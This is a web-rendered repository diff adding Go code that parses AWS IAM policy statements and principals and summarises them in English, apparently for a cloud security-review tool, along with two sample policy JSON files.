|
||||
type PolicyStatementPrincipalObject struct {
|
||||
AWS ListOrString `json:"AWS,omitempty"`
|
||||
CanonicalUser ListOrString `json:"CanonicalUser,omitempty"`
|
||||
Federated ListOrString `json:"Federated,omitempty"`
|
||||
Service ListOrString `json:"Service,omitempty"`
|
||||
}
|
||||
|
||||
func (pspo *PolicyStatementPrincipalObject) IsEmpty() bool {
|
||||
return len(pspo.AWS) == 0 &&
|
||||
len(pspo.CanonicalUser) == 0 &&
|
||||
len(pspo.Federated) == 0 &&
|
||||
len(pspo.Service) == 0
|
||||
}
|
||||
|
||||
func (pspo *PolicyStatementPrincipalObject) IsPublic() bool {
|
||||
for _, s := range pspo.AWS {
|
||||
if s == "*" {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
func (pspo *PolicyStatementPrincipalObject) GetListOfPrincipals() []string {
|
||||
var allPrincipals []string
|
||||
allPrincipals = append(allPrincipals, pspo.AWS...)
|
||||
allPrincipals = append(allPrincipals, pspo.CanonicalUser...)
|
||||
allPrincipals = append(allPrincipals, pspo.Federated...)
|
||||
allPrincipals = append(allPrincipals, pspo.Service...)
|
||||
return allPrincipals
|
||||
}
|
||||
|
||||
type ListOrString []string
|
||||
|
||||
func (ls *ListOrString) UnmarshalJSON(b []byte) error {
|
||||
var s string
|
||||
if err := json.Unmarshal(b, &s); err == nil {
|
||||
*ls = append(*ls, s)
|
||||
return nil
|
||||
}
|
||||
|
||||
var ss []string
|
||||
if err := json.Unmarshal(b, &ss); err == nil {
|
||||
*ls = ss
|
||||
return nil
|
||||
}
|
||||
|
||||
return errors.New("not a string or list of strings")
|
||||
}
|
||||
@@ -0,0 +1,135 @@
|
||||
package policy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
)
|
||||
|
||||
type PolicyStatement struct {
|
||||
Sid string `json:"Sid,omitempty"`
|
||||
Effect string `json:"Effect"`
|
||||
Principal PolicyStatementPrincipal `json:"Principal,omitempty"`
|
||||
Action ListOrString `json:"Action"`
|
||||
NotAction ListOrString `json:"NotAction,omitempty"`
|
||||
Resource ListOrString `json:"Resource,omitempty"`
|
||||
Condition PolicyStatementCondition `json:"Condition,omitempty"`
|
||||
}
|
||||
|
||||
func (ps *PolicyStatement) IsEmpty() bool {
|
||||
return ps.Sid == "" &&
|
||||
ps.Effect == "" &&
|
||||
ps.Principal.IsEmpty() &&
|
||||
len(ps.Action) < 1 &&
|
||||
len(ps.Resource) < 1 &&
|
||||
ps.Condition.IsEmpty()
|
||||
}
|
||||
|
||||
func (ps *PolicyStatement) IsAllow() bool {
|
||||
return strings.TrimSpace(strings.ToLower(ps.Effect)) == "allow"
|
||||
}
|
||||
|
||||
func (ps *PolicyStatement) GetAllActionsAsString() string {
|
||||
actions := ""
|
||||
if len(ps.Action) < 3 {
|
||||
for _, action := range ps.Action {
|
||||
if ps.Effect == "Allow" {
|
||||
actions = fmt.Sprintf("%scan %s & ", actions, action)
|
||||
} else if ps.Effect == "Deny" {
|
||||
actions = fmt.Sprintf("%sis denied %s & ", actions, action)
|
||||
}
|
||||
}
|
||||
} else {
|
||||
if ps.Effect == "Allow" {
|
||||
actions = fmt.Sprintf("can perform %d actions", len(ps.Action))
|
||||
} else if ps.Effect == "Deny" {
|
||||
actions = fmt.Sprintf("is denied %d actions", len(ps.Action))
|
||||
|
||||
}
|
||||
}
|
||||
actions = strings.TrimSuffix(actions, " & ")
|
||||
actions = actions + "\n"
|
||||
|
||||
return actions
|
||||
}
|
||||
|
||||
func (ps *PolicyStatement) GetAllPrincipalsAsString() string {
|
||||
principals := ""
|
||||
// if len(ps.Principal.O.GetListOfPrincipals()) < 3 {
|
||||
// for _, principal := range ps.Principal.O.GetListOfPrincipals() {
|
||||
// principals = fmt.Sprintf("%s%s & ", principals, principal)
|
||||
// }
|
||||
// } else {
|
||||
// principals = fmt.Sprintf("%s%d principals", principals, len(ps.Principal.O.GetListOfPrincipals()))
|
||||
// }
|
||||
// principals = strings.TrimSuffix(principals, " & ")
|
||||
// principals = principals + "\n"
|
||||
|
||||
// return principals
|
||||
|
||||
for _, principal := range ps.Principal.O.GetListOfPrincipals() {
|
||||
if len(ps.Principal.O.GetListOfPrincipals()) > 1 {
|
||||
principals = fmt.Sprintf("%s%s \n& ", principals, principal)
|
||||
} else {
|
||||
principals = fmt.Sprintf("%s%s", principals, principal)
|
||||
}
|
||||
}
|
||||
|
||||
if principals == "" && ps.Principal.S == "*" {
|
||||
principals = "Everyone"
|
||||
|
||||
}
|
||||
// replace " &\n--" in principals with just a newline
|
||||
principals = strings.TrimSuffix(principals, " \n& ")
|
||||
principals = principals + "\n"
|
||||
return principals
|
||||
}
|
||||
|
||||
func (ps *PolicyStatement) GetConditionsInEnglish(caller string) string {
|
||||
conditionTextAll := ""
|
||||
for condition, kv := range ps.Condition {
|
||||
if condition == "StringEquals" || condition == "ArnEquals" {
|
||||
condition = "="
|
||||
} else if condition == "StringLike" || condition == "ArnLike" {
|
||||
condition = "is like"
|
||||
}
|
||||
for k, v := range kv {
|
||||
for _, arn := range v {
|
||||
var conditionText string
|
||||
if (k == "AWS:SourceOwner" || k == "AWS:SourceAccount") && contains(v, caller) {
|
||||
conditionText = "Default resource policy: Not exploitable"
|
||||
} else {
|
||||
conditionText = fmt.Sprintf("-> Only when %s %s %s\n", k, condition, arn)
|
||||
}
|
||||
|
||||
conditionTextAll = fmt.Sprintf("%s%s", conditionTextAll, conditionText)
|
||||
// trim the last newline character
|
||||
//conditionTextAll = strings.TrimSuffix(conditionTextAll, "\n")
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
return conditionTextAll
|
||||
}
|
||||
|
||||
func (ps *PolicyStatement) GetStatementSummaryInEnglish(caller string) string {
|
||||
|
||||
var statementSummary string
|
||||
actions := ps.GetAllActionsAsString()
|
||||
principals := ps.GetAllPrincipalsAsString()
|
||||
conditions := ps.GetConditionsInEnglish(caller)
|
||||
|
||||
if conditions == "Default resource policy: Not exploitable" {
|
||||
statementSummary = "Default resource policy: Not exploitable\n" + "\n"
|
||||
} else if conditions != "\n" {
|
||||
statementSummary = fmt.Sprintf("%s %s %s", strings.TrimSuffix(principals, "\n"), actions, conditions)
|
||||
|
||||
} else {
|
||||
statementSummary = fmt.Sprintf("%s %s\n", strings.TrimSuffix(principals, "\n"), actions)
|
||||
|
||||
}
|
||||
// trim the last newline character
|
||||
//statementSummary = strings.TrimSuffix(statementSummary, "\n")
|
||||
|
||||
return statementSummary
|
||||
}
|
||||
@@ -0,0 +1,42 @@
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Action": "ec2:*",
|
||||
"Effect": "Allow",
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Action": "elasticloadbalancing:*",
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Action": "cloudwatch:*",
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Action": "autoscaling:*",
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Action": "iam:CreateServiceLinkedRole",
|
||||
"Resource": "*",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"iam:AWSServiceName": [
|
||||
"autoscaling.amazonaws.com",
|
||||
"ec2scheduled.amazonaws.com",
|
||||
"elasticloadbalancing.amazonaws.com",
|
||||
"spot.amazonaws.com",
|
||||
"spotfleet.amazonaws.com",
|
||||
"transitgateway.amazonaws.com"
|
||||
]
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
{"Statement":[{"Effect":"Allow","Principal":"*","Action":"SNS:Publish","Resource":"arn:aws:sns:us-east-1:123456789012:MyFirstTopic","Condition":{"StringEquals":{"aws:sourceVpce":"vpce-1a2b3c4d"}}}]}
|
||||
Loaded 100 of 117 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user